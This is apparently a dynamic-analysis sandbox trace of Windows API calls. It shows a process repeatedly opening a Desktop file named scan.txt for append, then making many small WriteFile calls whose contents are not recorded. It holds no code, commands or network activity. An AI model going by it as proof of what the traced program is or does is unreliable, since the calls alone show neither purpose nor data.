[0167.528] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.528] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xc85
[0167.530] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.530] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xc94
[0167.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.531] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xca3
[0167.533] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.533] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xcb2
[0167.535] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.535] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xcc1
[0167.536] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.536] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xcd0
[0167.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.537] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xcdf
[0167.538] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.539] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xcee
[0167.540] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.540] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xcfd
[0167.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.541] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xd0c
[0167.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.542] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xd1b
[0167.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.543] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xd2a
[0167.544] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.544] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xd39
[0167.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.545] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xd48
[0167.546] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.546] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xd57
[0167.547] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.547] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xd66
[0167.548] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.549] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xd75
[0167.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.550] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xd84
[0167.550] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.550] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xd93
[0167.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.551] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xda2
[0167.552] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.552] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xdb1
[0167.554] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.554] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xdc0
[0167.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.555] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xdcf
[0167.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.556] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xdde
[0167.556] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.556] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xded
[0167.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.557] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xdfc
[0167.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.558] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xe0b
[0167.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.558] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xe1a
[0169.277] WriteFile (in: hFile=0x187c, lpBuffer=0x2670828*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2670828*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0169.662] WriteFile (in: hFile=0x187c, lpBuffer=0x2672fb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2672fb8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0169.820] WriteFile (in: hFile=0x187c, lpBuffer=0x2675748*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2675748*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0169.960] WriteFile (in: hFile=0x187c, lpBuffer=0x2677ed8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2677ed8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0170.235] WriteFile (in: hFile=0x187c, lpBuffer=0x267a668*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267a668*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0170.379] WriteFile (in: hFile=0x187c, lpBuffer=0x267cdf8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267cdf8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0170.461] WriteFile (in: hFile=0x187c, lpBuffer=0x267f588*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267f588*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0172.227] WriteFile (in: hFile=0x187c, lpBuffer=0x268adc8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268adc8*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0172.459] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0172.590] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0172.709] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0172.834] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0172.970] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0173.141] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0xe, lpOverlapped=0x0) returned 1
[0173.466] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0173.590] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0173.764] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0173.907] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0174.041] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0174.217] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0174.427] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0174.547] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0174.848] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0175.014] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0175.160] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0175.478] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0175.617] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0175.756] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0175.969] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0176.190] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0176.391] WriteFile (in: hFile=0x187c, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0176.536] WriteFile (in: hFile=0x4b4, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0176.652] WriteFile (in: hFile=0x4b4, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0176.776] WriteFile (in: hFile=0x4b4, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0177.008] WriteFile (in: hFile=0x4b4, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0177.170] WriteFile (in: hFile=0x4b4, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0177.230] WriteFile (in: hFile=0x4b4, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0177.538] WriteFile (in: hFile=0x4b4, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0177.661] WriteFile (in: hFile=0x4b4, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0177.787] WriteFile (in: hFile=0x4b4, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0177.941] WriteFile (in: hFile=0x4b4, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0178.151] WriteFile (in: hFile=0x4b4, lpBuffer=0x268d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268d540*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
